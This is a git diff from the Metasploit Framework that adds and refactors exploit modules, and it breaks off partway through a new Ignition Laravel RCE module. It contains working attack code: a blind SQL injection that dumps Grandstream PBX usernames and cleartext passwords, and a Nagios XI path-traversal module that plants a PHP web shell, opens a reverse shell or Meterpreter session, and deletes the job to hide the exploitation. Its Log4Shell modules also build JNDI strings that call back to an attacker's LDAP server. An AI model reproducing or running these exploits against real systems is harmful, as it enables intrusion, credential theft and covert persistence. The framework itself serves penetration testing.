a/lib/msf/ui/console/driver.rb +++ b/lib/msf/ui/console/driver.rb @@ -51,6 +51,7 @@ class Driver < Msf::Ui::Driver # # @option opts [Boolean] 'AllowCommandPassthru' (true) Whether to allow # unrecognized commands to be executed by the system shell + # @option opts [Boolean] 'Readline' (true) Whether to use the readline or not # @option opts [Boolean] 'RealReadline' (false) Whether to use the system's # readline library instead of RBReadline # @option opts [String] 'HistFile' (Msf::Config.history_file) Path to a file @@ -91,6 +92,10 @@ class Driver < Msf::Ui::Driver input = opts['LocalInput'] input ||= Rex::Ui::Text::Input::Stdio.new + if !opts['Readline'] + input.disable_readline + end + if (opts['LocalOutput']) if (opts['LocalOutput'].kind_of?(String)) output = Rex::Ui::Text::Output::File.new(opts['LocalOutput']) diff --git a/lib/rex/service.rb b/lib/rex/service.rb index 00fcfbf65b..69894a4666 100644 --- a/lib/rex/service.rb +++ b/lib/rex/service.rb @@ -28,6 +28,7 @@ module Service # If there's only one reference, then it's the service managers. if @_references == 1 Rex::ServiceManager.stop_service(self) + return true end rv diff --git a/lib/rex/ui/text/input.rb b/lib/rex/ui/text/input.rb index 26e79623d2..cf3aeded67 100644 --- a/lib/rex/ui/text/input.rb +++ b/lib/rex/ui/text/input.rb @@ -20,6 +20,7 @@ class Input def initialize self.eof = false @config = { + :readline => true, # true, false :color => :auto, # true, false, :auto } super @@ -29,7 +30,9 @@ class Input # Whether or not the input medium supports readline. # def supports_readline - true + return true if not @config + + config[:readline] == true end # @@ -82,6 +85,16 @@ class Input attr_reader :config + def disable_readline + return if not @config + @config[:readline] = false + end + + def enable_readline + return if not @config + @config[:readline] = true + end + def disable_color return if not @config @config[:color] = false @@ -111,4 +124,3 @@ end end end end - diff --git a/lib/rex/user_agent.rb b/lib/rex/user_agent.rb index e101c041f8..d429828e8e 100644 --- a/lib/rex/user_agent.rb +++ b/lib/rex/user_agent.rb @@ -6,27 +6,23 @@ module Rex::UserAgent # - # List from https://techblog.willshouse.com/2012/01/03/most-common-user-agents/ - # This article was updated on July 11th 2015. It's probably worth updating this - # list over time. - # - # This list is in the order of most common to least common. + # Taken from https://www.whatismybrowser.com/guides/the-latest-user-agent/ # COMMON_AGENTS = [ # Chrome - 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36', - 'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_0_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36', + 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36', # Edge - 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.44', + 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69', # Safari - 'Mozilla/5.0 (iPad; CPU OS 15_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1', - 'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_0_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15', + 'Mozilla/5.0 (iPad; CPU OS 15_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Mobile/15E148 Safari/604.1', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15', # Firefox - 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0', - 'Mozilla/5.0 (Macintosh; Intel Mac OS X 12.0; rv:94.0) Gecko/20100101 Firefox/94.0', + 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 12.2; rv:97.0) Gecko/20100101 Firefox/97.0', ] # diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index fd33710717..a438b12b64 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -70,7 +70,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '2.0.72' + spec.add_runtime_dependency 'metasploit-payloads', '2.0.74' # Needed for the next-generation POSIX Meterpreter spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.18' # Needed by msfgui and other rpc components diff --git a/modules/auxiliary/gather/grandstream_ucm62xx_sql_account_guess.rb b/modules/auxiliary/gather/grandstream_ucm62xx_sql_account_guess.rb new file mode 100644 index 0000000000..f422fbe702 --- /dev/null +++ b/modules/auxiliary/gather/grandstream_ucm62xx_sql_account_guess.rb @@ -0,0 +1,133 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + include Rex::Proto::Http::WebSocket + include Msf::Auxiliary::Report + include Msf::Exploit::SQLi + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Grandstream UCM62xx IP PBX WebSocket Blind SQL Injection Credential Dump', + 'Description' => %q{ + This module uses a blind SQL injection (CVE-2020-5724) affecting the Grandstream UCM62xx + IP PBX to dump the users table. The injection occurs over a websocket at the websockify + endpoint, and specifically occurs when the user requests the challenge (as part of a + challenge and response authentication scheme). The injection is blind, but the server + response contains a different status code if the query was successful. As such, the + attacker can guess the contents of the user database. Most helpfully, the passwords are + stored in cleartext within the user table (CVE-2020-5723). + + This issue was patched in Grandstream UCM62xx IP PBX firmware version 1.20.22. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'jbaines-r7' # Vulnerability discovery, original poc, and Metasploit module + ], + 'References' => [ + [ 'CVE', '2020-5724' ], + [ 'CVE', '2020-5723'], + [ 'URL', 'https://firmware.grandstream.com/Release_Note_UCM6xxx_1.0.20.22.pdf'], + [ 'URL', 'https://raw.githubusercontent.com/tenable/poc/master/grandstream/ucm62xx/dump_http_user_creds.py'] + ], + 'DisclosureDate' => '2020-03-30', + 'DefaultOptions' => { + 'RPORT' => 8089, + 'SSL' => true + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) + register_options([ + OptString.new('TARGETURI', [true, 'Base path', '/']) + ]) + end + + # Craft the SQL injection into the challenge request + def create_injection_request(query) + id = Rex::Text.rand_text_alphanumeric(12) + req = "{\"type\":\"request\",\"message\":{\"transactionid\":\"#{id}\",\"version\":\"1.0\",\"action\":\"challenge\",\"username\":\"" + req.concat("\' OR ") + req.concat(query) + req.concat('--"}}') + req + end + + # Retrieve the server's response and pull out the status response. The return value is + # the server's response value (or 1 on failure). + def recv_wsframe_status(wsock) + res = wsock.get_wsframe + return 1 unless res + + begin + res_json = JSON.parse(res.payload_data) + rescue JSON::ParserError + fail_with(Failure::UnexpectedReply, 'Failed to parse the returned JSON response.') + end + + status = res_json.dig('message', 'status') + return 1 if status.nil? + + status + end + + # Extract the version from the cgi endpoint and compare against the + # known patched version (1.0.20.22) + def check + normalized_uri = normalize_uri(target_uri.path, '/cgi') + print_status("Requesting version information from #{normalized_uri}") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalized_uri, + 'vars_post' => { 'action' => 'getInfo' } + }) + + return Exploit::CheckCode::Unknown('No response from target!') unless res && (res.code == 200) + + body_json = res.get_json_document + return Exploit::CheckCode::Unknown("Got response from target but it didn't contain a JSON body!") if body_json.empty? + + prog_version = body_json.dig('response', 'prog_version') + return Exploit::CheckCode::Unknown('JSON response obtained from target, but no prog_version field could be found!') if prog_version.nil? + + if Rex::Version.new(prog_version) < Rex::Version.new('1.0.20.22') + return Exploit::CheckCode::Appears("The self-reported version is: #{prog_version}") + end + + Exploit::CheckCode::Safe("The self-reported version is: #{prog_version}") + end + + def run + sqli = create_sqli(dbms: SQLitei::BooleanBasedBlind) do |payload| + wsock = connect_ws( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/websockify') + ) + + wsock.put_wstext(create_injection_request(payload)) + recv_wsframe_status(wsock) == 0 + + rescue Rex::Proto::Http::WebSocket::ConnectionError => e + res = e.http_response + fail_with(Failure::Unreachable, e.message) if res.nil? + fail_with(Failure::Unknown, e.message) + end + + users = sqli.dump_table_fields('users', ['user_name', 'user_password']) + users.each do |user| + print_status("Found the following username and password: #{user[0]} - #{user[1]}") + store_valid_credential(user: user[0], private: user[1]) + end + end +end diff --git a/modules/auxiliary/scanner/http/log4shell_scanner.rb b/modules/auxiliary/scanner/http/log4shell_scanner.rb index 4f69c0fbb9..4e798b123f 100644 --- a/modules/auxiliary/scanner/http/log4shell_scanner.rb +++ b/modules/auxiliary/scanner/http/log4shell_scanner.rb @@ -6,7 +6,7 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::Remote::LDAP::Server + include Msf::Exploit::Remote::Log4Shell include Msf::Auxiliary::Scanner def initialize @@ -67,65 +67,38 @@ class MetasploitModule < Msf::Auxiliary ]) end - def jndi_string(resource) - "${jndi:ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{resource}/${sys:java.vendor}_${sys:java.version}}" + def log4j_jndi_string(resource = '') + super(resource + '/${sys:java.vendor}_${sys:java.version}') end # # Handle incoming requests via service mixin # - def on_dispatch_request(client, data) - return if data.strip.empty? - - data.extend(Net::BER::Extensions::String) - begin - pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax)) - vprint_status("LDAP request data remaining: #{data}") if !data.empty? - resp = case pdu.app_tag - when Net::LDAP::PDU::BindRequest # bind request - client.authenticated = true - service.encode_ldap_response( - pdu.message_id, - Net::LDAP::ResultCodeSuccess, - '', - '', - Net::LDAP::PDU::BindResult - ) - when Net::LDAP::PDU::SearchRequest # search request - if client.authenticated || datastore['LDAP_AUTH_BYPASS'] - # Perform query against some loaded LDIF structure - treebase = pdu.search_parameters[:base_object].to_s - token, java_version = treebase.split('/', 2) - target_info = @mutex.synchronize { @tokens.delete(token) } - if target_info - @mutex.synchronize { @successes << target_info } - details = normalize_uri(target_info[:target_uri]).to_s - details << " (header: #{target_info[:headers].keys.first})" unless target_info[:headers].nil? - details << " (java: #{java_version})" unless java_version.blank? - peerinfo = "#{target_info[:rhost]}:#{target_info[:rport]}" - print_good("#{peerinfo.ljust(21)} - Log4Shell found via #{details}") - report_vuln( - host: target_info[:rhost], - port: target_info[:rport], - info: "Module #{fullname} detected Log4Shell vulnerability via #{details}", - name: name, - refs: references - ) - end - nil - else - service.encode_ldap_response(pdu.message_id, 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult) - end - else - vprint_status("Client sent unexpected request #{tag}") - client.close - end - resp.nil? ? client.close : on_send_response(client, resp) - rescue StandardError => e - print_error("Failed to handle LDAP request due to #{e}") - client.close + def build_ldap_search_response(msg_id, base_dn) + token, java_version = base_dn.split('/', 2) + target_info = @mutex.synchronize { @tokens.delete(token) } + if target_info + @mutex.synchronize { @successes << target_info } + details = normalize_uri(target_info[:target_uri]).to_s + details << " (header: #{target_info[:headers].keys.first})" unless target_info[:headers].nil? + details << " (java: #{java_version})" unless java_version.blank? + peerinfo = "#{target_info[:rhost]}:#{target_info[:rport]}" + print_good("#{peerinfo.ljust(21)} - Log4Shell found via #{details}") + report_vuln( + host: target_info[:rhost], + port: target_info[:rport], + info: "Module #{fullname} detected Log4Shell vulnerability via #{details}", + name: name, + refs: references + ) end - resp + + attrs = [ ] + appseq = [ + base_dn.to_ber, + attrs.to_ber_sequence + ].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData) + [ msg_id.to_ber, appseq ].to_ber_sequence end def rand_text_alpha_lower_numeric(len, bad = '') @@ -136,10 +109,16 @@ class MetasploitModule < Msf::Auxiliary end def run - fail_with(Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') if ['0.0.0.0', '::'].include?(datastore['SRVHOST']) + validate_configuration! @mutex = Mutex.new + @mutex.extend(::Rex::Ref) + @tokens = {} + @tokens.extend(::Rex::Ref) + @successes = [] + @successes.extend(::Rex::Ref) + begin start_service rescue Rex::BindFailed => e @@ -155,26 +134,7 @@ class MetasploitModule < Msf::Auxiliary return Exploit::CheckCode::Unknown end - return Exploit::CheckCode::Vulnerable(details: @successes) - ensure - stop_service - end - - def replicant - # - # WARNING: This is a horrible pattern and should not be copy-pasted into new code. A better solution is currently - # in the works to address service / socket replication as it affects scanner modules. - # - service = @service - @service = nil - obj = super - @service = service - - # but do copy the tokens and mutex to the new object - obj.mutex = @mutex - obj.tokens = @tokens - obj.successes = @successes - obj + Exploit::CheckCode::Vulnerable(details: @successes) end def run_host(ip) @@ -190,7 +150,7 @@ class MetasploitModule < Msf::Auxiliary if uri.include?('${jndi:uri}') token = rand_text_alpha_lower_numeric(8..32) - jndi = jndi_string(token) + jndi = log4j_jndi_string(token) uri.delete_prefix!('/') test(token, uri: normalize_uri(target_uri, '') + uri.gsub('${jndi:uri}', Rex::Text.uri_encode(jndi))) else @@ -203,7 +163,7 @@ class MetasploitModule < Msf::Auxiliary # HTTP_HEADER isn't exposed via the datastore but allows other modules to leverage this one to test a specific value unless datastore['HTTP_HEADER'].blank? token = rand_text_alpha_lower_numeric(8..32) - test(token, uri: uri, headers: { datastore['HTTP_HEADER'] => jndi_string(token) }) + test(token, uri: uri, headers: { datastore['HTTP_HEADER'] => log4j_jndi_string(token) }) end unless datastore['HEADERS_FILE'].blank? @@ -212,16 +172,16 @@ class MetasploitModule < Msf::Auxiliary next if header.blank? || header.start_with?('#') token = rand_text_alpha_lower_numeric(8..32) - test(token, uri: uri, headers: { header => jndi_string(token) }) + test(token, uri: uri, headers: { header => log4j_jndi_string(token) }) end end token = rand_text_alpha_lower_numeric(8..32) - jndi = jndi_string(token) + jndi = log4j_jndi_string(token) test(token, uri: normalize_uri(uri, Rex::Text.uri_encode(jndi.gsub('ldap://', 'ldap:${::-/}/')), '/')) token = rand_text_alpha_lower_numeric(8..32) - jndi = jndi_string(token) + jndi = log4j_jndi_string(token) test(token, uri: normalize_uri(uri, Rex::Text.uri_encode(jndi.gsub('ldap://', 'ldap:${::-/}/')))) end diff --git a/modules/auxiliary/scanner/http/nagios_xi_scanner.rb b/modules/auxiliary/scanner/http/nagios_xi_scanner.rb index 74b294fa7d..0c91acadbe 100644 --- a/modules/auxiliary/scanner/http/nagios_xi_scanner.rb +++ b/modules/auxiliary/scanner/http/nagios_xi_scanner.rb @@ -27,7 +27,8 @@ class MetasploitModule < Msf::Auxiliary ['CVE', '2019-15949'], ['CVE', '2020-5791'], ['CVE', '2020-5792'], - ['CVE', '2020-35578'] + ['CVE', '2020-35578'], + ['CVE', '2021-37343'] ] ) register_options [ diff --git a/modules/exploits/android/local/binder_uaf.rb b/modules/exploits/android/local/binder_uaf.rb index b4e7fd1b4f..54e81a85f1 100644 --- a/modules/exploits/android/local/binder_uaf.rb +++ b/modules/exploits/android/local/binder_uaf.rb @@ -73,7 +73,7 @@ class MetasploitModule < Msf::Exploit::Local def exploit local_file = File.join(Msf::Config.data_directory, "exploits", "CVE-2019-2215", "exploit") - exploit_data = File.read(local_file, { :mode => 'rb' }) + exploit_data = File.read(local_file, mode: 'rb') workingdir = session.fs.dir.getwd exploit_file = "#{workingdir}/.#{Rex::Text::rand_text_alpha_lower(5)}" diff --git a/modules/exploits/android/local/futex_requeue.rb b/modules/exploits/android/local/futex_requeue.rb index 4c728023b1..a88db2bef0 100644 --- a/modules/exploits/android/local/futex_requeue.rb +++ b/modules/exploits/android/local/futex_requeue.rb @@ -162,7 +162,7 @@ class MetasploitModule < Msf::Exploit::Local print_status("Using target: #{my_target.name}") local_file = File.join(Msf::Config.data_directory, "exploits", "CVE-2014-3153.so") - exploit_data = File.read(local_file, { :mode => 'rb' }) + exploit_data = File.read(local_file, mode: 'rb') # Substitute the exploit shellcode with our own space = payload_space diff --git a/modules/exploits/android/local/put_user_vroot.rb b/modules/exploits/android/local/put_user_vroot.rb index e82a4eeef3..c087d50e8d 100644 --- a/modules/exploits/android/local/put_user_vroot.rb +++ b/modules/exploits/android/local/put_user_vroot.rb @@ -61,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Local def exploit local_file = File.join(Msf::Config.data_directory, "exploits", "CVE-2013-6282.so") - exploit_data = File.read(local_file, { :mode => 'rb' }) + exploit_data = File.read(local_file, mode: 'rb') space = payload_space payload_encoded = payload.encoded diff --git a/modules/exploits/apple_ios/browser/webkit_trident.rb b/modules/exploits/apple_ios/browser/webkit_trident.rb index 98a8677bb7..fd6e86b03e 100644 --- a/modules/exploits/apple_ios/browser/webkit_trident.rb +++ b/modules/exploits/apple_ios/browser/webkit_trident.rb @@ -60,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote if request.uri =~ %r{/loader32$} print_good("armle target is vulnerable.") local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "exploit32" ) - loader_data = File.read(local_file, {:mode => 'rb'}) + loader_data = File.read(local_file, mode: 'rb') srvhost = Rex::Socket.resolv_nbo_i(srvhost_addr) config = [srvhost, srvport].pack("Nn") + payload_url payload_url_index = loader_data.index('PAYLOAD_URL') @@ -70,12 +70,12 @@ class MetasploitModule < Msf::Exploit::Remote elsif request.uri =~ %r{/loader64$} print_good("aarch64 target is vulnerable.") local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "loader" ) - loader_data = File.read(local_file, {:mode => 'rb'}) + loader_data = File.read(local_file, mode: 'rb') send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'}) return elsif request.uri =~ %r{/exploit64$} local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "exploit" ) - loader_data = File.read(local_file, {:mode => 'rb'}) + loader_data = File.read(local_file, mode: 'rb') payload_url_index = loader_data.index('PAYLOAD_URL') loader_data[payload_url_index, payload_url.length] = payload_url send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'}) diff --git a/modules/exploits/linux/http/nagios_xi_autodiscovery_webshell.rb b/modules/exploits/linux/http/nagios_xi_autodiscovery_webshell.rb new file mode 100644 index 0000000000..86e4f3c989 --- /dev/null +++ b/modules/exploits/linux/http/nagios_xi_autodiscovery_webshell.rb @@ -0,0 +1,238 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::NagiosXi + include Msf::Exploit::CmdStager + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Nagios XI Autodiscovery Webshell Upload', + 'Description' => %q{ + This module exploits a path traversal issue in Nagios XI before version 5.8.5 (CVE-2021-37343). + The path traversal allows a remote and authenticated administrator to upload a PHP web shell + and execute code as `www-data`. The module achieves this by creating an autodiscovery job + with an `id` field containing a path traversal to a writable and remotely accessible directory, + and `custom_ports` field containing the web shell. A cron file will be created using the chosen + path and file name, and the web shell is embedded in the file. + + After the web shell has been written to the victim, this module will then use the web shell to + establish a Meterpreter session or a reverse shell. By default, the web shell is deleted by + the module, and the autodiscovery job is removed as well. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Claroty Team82', # vulnerability discovery + 'jbaines-r7' # metasploit module + ], + 'References' => [ + ['CVE', '2021-37343'], + ['URL', 'https://claroty.com/2021/09/21/blog-research-securing-network-management-systems-nagios-xi/'] + ], + 'DisclosureDate' => '2021-07-15', + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], + 'Privileged' => false, + 'Targets' => [ + [ + 'Unix Command', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_openssl' + }, + 'Payload' => { + 'Append' => ' & disown' + } + } + ], + [ + 'Linux Dropper', + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :linux_dropper, + 'CmdStagerFlavor' => [ 'printf' ], + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' + } + } + ] + ], + 'DefaultTarget' => 1, + 'DefaultOptions' => { + 'RPORT' => 443, + 'SSL' => true, + 'MeterpreterTryToFork' => true + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + register_options [ + OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']), + OptString.new('PASSWORD', [true, 'Password to authenticate with', nil]), + OptInt.new('DEPTH', [true, 'The depth of the path traversal', 10]), + OptString.new('WEBSHELL_NAME', [false, 'The name of the uploaded webshell. This value is random if left unset', nil]), + OptBool.new('DELETE_WEBSHELL', [true, 'Indicates if the webshell should be deleted or not.', true]) + ] + + @webshell_uri = '/includes/components/highcharts/exporting-server/temp/' + @webshell_path = '/usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/' + end + + # Authenticate and grab the version from the dashboard. Store auth cookies for later user. + def check + login_result, res_array = nagios_xi_login(datastore['USERNAME'], datastore['PASSWORD'], false) + case login_result + when 1..3 # An error occurred + return CheckCode::Unknown(res_array[0]) + when 4 + return CheckCode::Detected('Nagios is not fully installed.') + when 5 + return CheckCode::Detected('The Nagios license has not been signed.') + end + + # res_array[1] cannot be nil since the mixin checks for that already. + @auth_cookies = res_array[1] + + nagios_version = nagios_xi_version(res_array[0]) + if nagios_version.nil? + return CheckCode::Detected('Unable to obtain the Nagios XI version from the dashboard') + end + + # affected versions are 5.2.0 -> 5.8.4 + if Rex::Version.new(nagios_version) < Rex::Version.new('5.8.5') && + Rex::Version.new(nagios_version) >= Rex::Version.new('5.2.0') + return CheckCode::Appears("Determined using the self-reported version: #{nagios_version}") + end + + CheckCode::Safe("Determined using the self-reported version: #{nagios_version}") + end + + # Using the path traversal, upload a php webshell to the remote target + def drop_webshell + autodisc_uri = normalize_uri(target_uri.path, '/includes/components/autodiscovery/') + print_status("Attempting to grab a CSRF token from #{autodisc_uri}") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => autodisc_uri, + 'cookie' => @auth_cookies, + 'vars_get' => { + 'mode' => 'newjob' + } + }) + + fail_with(Failure::Disconnected, 'Connection failed') unless res + fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200 + fail_with(Failure::UnexpectedReply, 'Unexpected HTTP body') unless res.body.include?('New Auto-Discovery Job') + + # snag the nsp token from the response + nsp = get_nsp(res) + fail_with(Failure::Unknown, 'Failed to obtain the nsp token which is required to upload the web shell') if nsp.blank? + + # drop a basic web shell on the server + webshell_location = normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}") + print_status("Uploading webshell to #{webshell_location}") + php_webshell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>' + payload = 'update=1&' \ + "job=#{'../' * datastore['DEPTH']}#{@webshell_path}#{@webshell_name}&" \ + "nsp=#{nsp}&" \ + 'address=127.0.0.1%2F0&' \ + 'frequency=Yearly&' \ + "custom_ports=#{php_webshell}&" + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => autodisc_uri, + 'cookie' => @auth_cookies, + 'vars_get' => { + 'mode' => 'newjob' + }, + 'data' => payload + }) + + fail_with(Failure::Disconnected, 'Connection failed') unless res + fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 302 + + # Test the web shell installed by echoing a random string and ensure it appears in the res.body + print_status('Testing if web shell installation was successful') + rand_data = Rex::Text.rand_text_alphanumeric(16..32) + res = execute_via_webshell("echo #{rand_data}") + fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless res.body.include?(rand_data) + print_good("Web shell installed at #{webshell_location}") + + # This is a great place to leave a web shell for persistence since it doesn't require auth + # to touch it. By default, we'll clean this up but the attacker has to option to leave it + if datastore['DELETE_WEBSHELL'] + register_file_for_cleanup("#{@webshell_path}#{@webshell_name}") + end + end + + # Successful exploitation creates a new job in the autodiscovery view. This function deletes + # the job that there is no evidence of exploitation in the UI. + def cleanup_job + print_status('Deleting autodiscovery job') + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/includes/components/autodiscovery/'), + 'cookie' => @auth_cookies, + 'vars_get' => { + 'mode' => 'deletejob', + 'job' => "#{'../' * datastore['DEPTH']}#{@webshell_path}#{@webshell_name}" + } + }) + + fail_with(Failure::Disconnected, 'Connection failed') unless res + fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res&.code == 302 + end + + # Executes commands via the uploaded webshell + def execute_via_webshell(cmd) + cmd = Rex::Text.uri_encode(cmd) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "/includes/components/highcharts/exporting-server/temp/#{@webshell_name}?cmd=#{cmd}") + }) + + fail_with(Failure::Disconnected, 'Connection failed') unless res + fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200 + res + end + + def execute_command(cmd, _opts = {}) + execute_via_webshell(cmd) + end + + def exploit + # create a randomish web shell name if the user doesn't specify one + @webshell_name = datastore['WEBSHELL_NAME'] || "#{Rex::Text.rand_text_alpha(5..12)}.php" + + drop_webshell + + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + case target['Type'] + when :unix_cmd + execute_command(payload.encoded) + when :linux_dropper + execute_cmdstager + end + ensure + cleanup_job + end +end diff --git a/modules/exploits/multi/http/log4shell_header_injection.rb b/modules/exploits/multi/http/log4shell_header_injection.rb index e3b0fb3132..e34839bf73 100644 --- a/modules/exploits/multi/http/log4shell_header_injection.rb +++ b/modules/exploits/multi/http/log4shell_header_injection.rb @@ -5,7 +5,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::Remote::JndiInjection + include Msf::Exploit::Remote::Log4Shell include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::CheckModule prepend Msf::Exploit::Remote::AutoCheck @@ -195,7 +195,7 @@ class MetasploitModule < Msf::Exploit::Remote send_request_raw( 'uri' => normalize_uri(target_uri), 'method' => datastore['HTTP_METHOD'], - 'headers' => { http_header => jndi_string } + 'headers' => { http_header => log4j_jndi_string } ) sleep(datastore['WfsDelay']) handler diff --git a/modules/exploits/multi/http/ubiquiti_unifi_log4shell.rb b/modules/exploits/multi/http/ubiquiti_unifi_log4shell.rb index 7b4785c4a8..178647c60d 100644 --- a/modules/exploits/multi/http/ubiquiti_unifi_log4shell.rb +++ b/modules/exploits/multi/http/ubiquiti_unifi_log4shell.rb @@ -5,7 +5,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::Remote::JndiInjection + include Msf::Exploit::Remote::Log4Shell include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck @@ -124,7 +124,7 @@ class MetasploitModule < Msf::Exploit::Remote 'data' => { 'username' => rand_text_alphanumeric(8..16), # can not be blank!, 'password' => rand_text_alphanumeric(8..16), # can not be blank! - 'remember' => jndi_string, + 'remember' => log4j_jndi_string, 'strict' => true }.to_json ) diff --git a/modules/exploits/multi/http/vmware_vcenter_log4shell.rb b/modules/exploits/multi/http/vmware_vcenter_log4shell.rb index 7497b979d0..cf6f9dc5be 100644 --- a/modules/exploits/multi/http/vmware_vcenter_log4shell.rb +++ b/modules/exploits/multi/http/vmware_vcenter_log4shell.rb @@ -5,7 +5,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::Remote::JndiInjection + include Msf::Exploit::Remote::Log4Shell include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::CheckModule prepend Msf::Exploit::Remote::AutoCheck @@ -117,7 +117,7 @@ class MetasploitModule < Msf::Exploit::Remote # HTTP request initiator send_request_cgi( 'uri' => normalize_uri(target_uri, 'websso', 'SAML2', 'SSO', tenant) + '?SAMLRequest=', - 'headers' => { 'X-Forwarded-For' => jndi_string } + 'headers' => { 'X-Forwarded-For' => log4j_jndi_string } ) end diff --git a/modules/exploits/multi/php/ignition_laravel_debug_rce.rb b/modules/exploits/multi/php/ignition_laravel_debug_rce.rb new file mode 100644 index 0000000000..cc1a88177a --- /dev/null +++ b/modules/exploits/multi/php/ignition_laravel_debug_rce.rb @@ -0,0 +1,226 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Unauthenticated remote code execution in Ignition', + 'Description' => %q{ + Ignition before 2.5.2, as used in Laravel and other products, + allows unauthenticated remote attackers to execute arbitrary code + because of insecure usage of file_get_contents() and file_put_contents(). + This is exploitable on 